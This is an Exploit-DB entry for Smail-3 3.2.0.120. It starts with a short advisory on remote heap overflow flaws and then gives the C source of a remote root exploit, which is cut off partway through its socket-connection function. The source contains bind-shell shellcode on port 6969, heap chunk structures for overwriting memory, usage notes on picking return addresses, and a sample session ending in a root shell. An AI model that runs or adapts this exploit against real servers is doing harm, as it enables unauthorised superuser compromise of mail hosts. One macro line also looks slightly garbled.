Exploit-DB #25275
Description: Smail 3 - Multiple Remote/Local Vulnerabilities
Type: remote
Platform: linux
Date: 2005-03-25
Author: infamous42md

Exploit:
// source: https://www.securityfocus.com/bid/12899/info

Smail-3 is reported prone to multiple vulnerabilities. These issues can allow a local or remote attacker to execute arbitrary code on a vulnerable computer. A successful attack may lead to a complete compromise.

The following specific issues were identified:

Smail-3 is vulnerable to a remote heap overflow vulnerability. An attacker can leverage this vulnerability to execute arbitrary code with superuser privileges. Attack attempts may also trigger a denial of service condition.

The application is also reported prone to various potential vulnerabilities arising from insecure handling of heap memory by signal handlers. These issues are not confirmed at the moment.

Smail-3 3.2.0.120 is affected by these issues. Other versions may be vulnerable.

This BID will be updated when more information becomes available. 

/*
 *
 * 0
 *
 * smail preparse_address_1() heap bof remote root exploit
 *
 * infamous42md AT hotpop DOT com
 *
 * Shouts:
 *
 * BMF, wipe with the left, eat with the right
 *
 * Notes:
 *
 * You can't have any characters in overflow buffer that isspace() returns true
 * for.  The shellcode is clear of them, but if your return address or retloc
 * has one you gotta figure out another one.  My slack box has that situation,
 * heap is at 0x080d.. My gentoo laptop had no such problem and all was fine.  I
 * don't have anymore time to BS around with this and make perfect for any and
 * all, b/c I've got exam to study for and Law and Order:CI is on in an hour.
 * If the heap you're targetting is the same way, then try filling it up using
 * some other commands.  If the GOT you're targetting is at such address than
 * overwrite a return address on the stack.  Surely there's a way, check out the
 * source and be creative; I'm sure there are some memory leaks somewhere you
 * can use to fill up heap as well.
 *
 * You might run into some ugliness trying to automate this for a couple
 * reasons.  xmalloc() stores a cookie in front of buffer, and xfree() checks
 * for this cookie before calling free().  So you're going to need that aligned
 * properly unless you can cook up a way to exploit it when it bails out in
 * xfree() b/c of bad cookie and calls write_log() (this func calls malloc() so
 * maybe you can be clever and do something there). Furthermore I found that
 * when trying to trigger this multiple times the alignment was different each
 * time.  There are "definitely" more reliable ways to exploit this if you take
 * a deeper look into code which I don't have time to do right now.  The padding
 * parameter controls the alignment and the size of the chunk being allocated.
 * You'll probably have to play with it.  Yes that's fugly.
 *
 * [n00b@crapbox.outernet] ./a.out
 * Usage: ./a.out < host > < padding > < retloc > < retaddr >
 *
 * [n00b@crapbox.outernet] ./a.out localhost 64 0xbffff39c 0x8111ea0
 * --{ Smack 1.oohaah
 *
 * --{ definitely, adv.:
 * --{ 1. Having distinct limits
 * --{ 2. Indisputable; certain
 * --{ 3. Clearly defined; explicitly precise
 *
 * --{ Said HELO
 *
 * --{ Sent MAIL FROM overflow
 *
 * --{ Going for shell in 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1
 *
 * --{ Attempting to redefine the meaning of 'definitely'
 *
 * --{ Got a shell
 *
 * --{ Updating Webster's
 * --{ definitely, adv.:
 * --{ 1. See specious
 *
 * --{ For the linguistically challenged...
 * --{ specious, adj. :
 * --{ 1. Having the ring of truth or plausibility but actually fallacious
 * --{ 2. Deceptively attractive
 *
 * id
 * uid=0(root) gid=0(root)
 * echo PWNED
 * PWNED
 *
 *  - Connection closed by user
 *
 */

#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/select.h>
#include <arpa/inet.h>


/* */
#define BS 0x1000
#define SMTP_PORT 25


#define Z(x, len) memset((x), 0, (len))
#define die(x) do{ perror((x)); exit(EXIT_FAILURE); }while(0)
#define bye(fmt, args...) do{ fprintf(stderr, fmt"\n", ##args);
#exit(EXIT_FAILURE); }while(0)


/* fat bloated call them shell code */
#define SHELL_LEN (sizeof(sc)-1)
#define SHELL_PORT 6969
#define NOP 0x90
char sc[] =
"\xeb\x0e""notexploitable"
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x39\xc6\x04\x24\x02\x89\xe6\xb0\x02"
"\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50\x6a\x01\x6a\x02"
"\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a\x10\x56\x50\x89\xe1\xb0"
"\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31\xc0\x31\xdb\xb0\x66\xb3\x04\xcd"
"\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89"
"\xeb\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x6b\x2c\x60\xcd"
"\x80";


/*  a dlmalloc chunk descriptor */
#define CHUNKSZ 0xfffffff8
#define CHUNKLEN sizeof(mchunk_t)
typedef struct _mchunk {
    size_t  dummy;
    size_t  prevsz;
    size_t  sz;
    long    fd;
    long    bk;
} mchunk_t;

/* */
ssize_t Send(int s, const void *buf, size_t len, int flags)
{
    ssize_t n;

    n = send(s, buf, len, flags);
    if(n < 0)
        die("send");

    return n;
}

/* */
ssize_t Recv(int s, void *buf, size_t len, int flags)
{
    ssize_t n;

    n = recv(s, buf, len, flags);
    if(n < 0)
        die("recv");

    return n;
}

/* */
int conn(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
            bye("gethostbyname failed with error %s", hstrerror(h_errno));
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock